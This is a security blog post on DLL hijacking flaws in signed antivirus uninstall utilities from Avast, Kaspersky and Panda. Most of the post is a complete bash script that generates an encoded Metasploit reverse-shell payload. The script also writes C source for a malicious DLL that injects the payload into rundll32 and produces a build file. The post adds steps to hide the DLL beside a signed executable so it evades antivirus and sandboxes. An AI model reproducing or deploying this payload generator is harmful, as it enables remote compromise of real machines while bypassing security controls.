Well, this issue has been discussed many times already dating a few years back. A good description on this was originally published by HD Moore here : community.rapid7.com/community/metasploit/blog/2010/08/22/exploiting-dll-hijacking-flaws There are many vulnerable applications out there, but in my recent research I wanted to check out how some security companies audit their software before release. In a pentest scenario I wanted to use some digitally signed binary from some renounced AV vendor to load a custom crafted meterpreter Dll thus bypassing some sandboxing techniques. While some vendors proved to have good code, some to my surprise contain some Dll hijacking flaws (and digitally signed by the vendor) My testing scenario was a guest system running Windows 7 SP1 64bit in VirtualBox and a Linux host with metasploit. Lets see what the results were…
I have decided to have a close look at the Uninstall/Remove utilities/tools from various AV vendors. These files are always some signed single binaries or they are a self-extracting executable containing a few other files which are digitally signed. First one I chose to test was an Avast! Uninstall Utility (just Google it). It is a single executable file,digitally signed, designed to remove Avast products from Windows. It is called aswclear.exe Next I have checked the executable via Sysinternalssuite Procmon.exe to actually see what the file is doing, what Dlls is it loading etc.. And I have found an interesting part here :
The executable is trying to load a dll called UxTheme.dll first from its path, then it goes on to search for Windows Dll folders. So what if we use a specially crafted meterpreter dll, call it UxTheme.dll and put it alongside the executable ? It gets loaded by the aswclear.exe, but because we use a meterpreter dll the program just exits and on the Linux listener box we get a reverse shell…
For the specially crafted Dll I have created a custom generator that creates a C source code for the meterpreter dll (the Metasploit generated Dll gets flagged by almost every AV that I know)
#!/bin/bash clear echo "***************************************************************" echo " Automatic shellcode generator - FOR METASPLOIT " echo " By Astr0baby 2012 Dll fun " echo " For Automatic Teensy programming and deployment " echo "***************************************************************" echo -e "What IP are we gonna use ex. 192.168.0.1? \c" read IP echo -e "What Port Number are we gonna listen to? : \c" read port echo -e "And lastly how many times do we want to encode our payloads 1-20? : \c" read enumber ./msfpayload windows/meterpreter/reverse_tcp_dns LHOST=$IP LPORT=$port EXITFUNC=thread R |./msfencode -e x86/shikata_ga_nai -c 1 -t raw | ./msfencode -e x86/fnstenv_mov -c $enumber -t raw | ./msfencode -e x86/shikata_ga_nai -c $enumber -t raw | ./msfencode -e x86/jmp_call_additive -c 1 -t raw | ./msfencode -e x86/alpha_mixed -b '\x00' > test.c mkdir ShellCode/Dll mv test.c ShellCode/Dll cd ShellCode/Dll #We prepare the shellcode file to something usable using sed magic sed -e 's/+/ /g' test.c > test2.c sed -e 's/buf = //g' test2.c > final.c cat final.c >> clean.c #Lets generate some files now #Generating template.h echo '#define SCSIZE 8196' > template.h echo 'unsigned char function[SCSIZE] =' >> template.h cat clean.c >> template.h echo ';' >> template.h #Generating main template.c echo '#include <windows.h>' > template.c echo '#include "template.h"' >> template.c echo '#if BUILDMODE == 2' >> template.c echo 'void inline_bzero(void *p, size_t l)' >> template.c echo '{' >> template.c echo 'BYTE *q = (BYTE *)p;' >> template.c echo 'size_t x = 0;' >> template.c echo 'for (x = 0; x < l; x++)' >> template.c echo '*(q++) = 0x00;' >> template.c echo '}' >> template.c echo '#endif' >> template.c echo 'void ExecutePayload(void);' >> template.c echo 'BOOL WINAPI' >> template.c echo 'DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)' >> template.c echo '{' >> template.c echo 'switch (dwReason)' >> template.c echo '{' >> template.c echo 'case DLL_PROCESS_ATTACH:' >> template.c echo ' ExecutePayload();' >> template.c echo ' break;' >> template.c echo 'case DLL_PROCESS_DETACH:' >> template.c echo 'break;' >> template.c echo 'case DLL_THREAD_ATTACH:' >> template.c echo 'break;' >> template.c echo ' case DLL_THREAD_DETACH:' >> template.c echo 'break;' >> template.c echo '}' >> template.c echo 'return TRUE;' >> template.c echo '}' >> template.c echo 'void ExecutePayload(void) {' >> template.c echo 'int error;' >> template.c echo 'PROCESS_INFORMATION pi;' >> template.c echo 'STARTUPINFO si;' >> template.c echo 'CONTEXT ctx;' >> template.c echo 'DWORD prot;' >> template.c echo 'LPVOID ep;' >> template.c echo 'inline_bzero( &si, sizeof( si ));' >> template.c echo 'si.cb = sizeof(si);' >> template.c echo 'if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {' >> template.c echo ' ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;' >> template.c echo 'GetThreadContext(pi.hThread, &ctx);' >> template.c echo ' ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);' >> template.c echo 'WriteProcessMemory(pi.hProcess,(PVOID)ep, &function, SCSIZE, 0);' >> template.c echo '#ifdef _WIN64' >> template.c echo 'ctx.Rip = (DWORD64)ep;' >> template.c echo '#else' >> template.c echo 'ctx.Eip = (DWORD)ep;' >> template.c echo '#endif' >> template.c echo 'SetThreadContext(pi.hThread,&ctx);' >> template.c echo 'ResumeThread(pi.hThread);' >> template.c echo 'CloseHandle(pi.hThread);' >> template.c echo 'CloseHandle(pi.hProcess);' >> template.c echo '}' >> template.c echo 'ExitThread(0);' >> template.c echo '}' >> template.c todos <template.c> TEMPLATE.c todos <template.h> TEMPLATE.h #Generating build.bat echo '@echo off' > build.bat echo 'cl.exe template.c -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib' >> build.bat echo 'del *.def' >> build.bat echo 'del *.h' >> build.bat echo 'del *.rc' >> build.bat echo 'del *.c' >> build.bat echo 'del *.obj' >> build.bat todos <build.bat> BUILD.bat rm template.c rm template.h rm build.bat rm clean.c rm final.c rm test2.c rm test.c #Finished echo 'All files generated in ShellCode\Dll folder, please copy the Dll to WinBox with Visual Studio 2010 and run compile.bat' cd .. cd ..
This script generates 3 files in ShellCode/dll folder which can be compiled using Visual Studio C++ 2010/2012. So once we have the Dll and the aswclear.exe we can for example hide the meterpreter UxTheme.dll via attrib commands and pack it together with aswcler.exe in a zip. Simple attrib +h +s +r UxTheme.dll will hide the file from default explorer settings and cmd.exe dir commands…
Some Sandbox technologies blindly trust Digitally signed executables and do not check what Dlls they load.
I have checked the following Vendor removal tools for Dll path flaws.
- Kaspersky – kavremover.exe is flawed with exactly the same Dll problem like the above example
- Panda – uninstaller.exe is a self extracting exe containing a few dlls and exes, one is flawed.
- F-Secure – uitool UninstallationTool.exe – fine
- AVG – AVG Remover – fine
Finally a short video for a little demonstration
.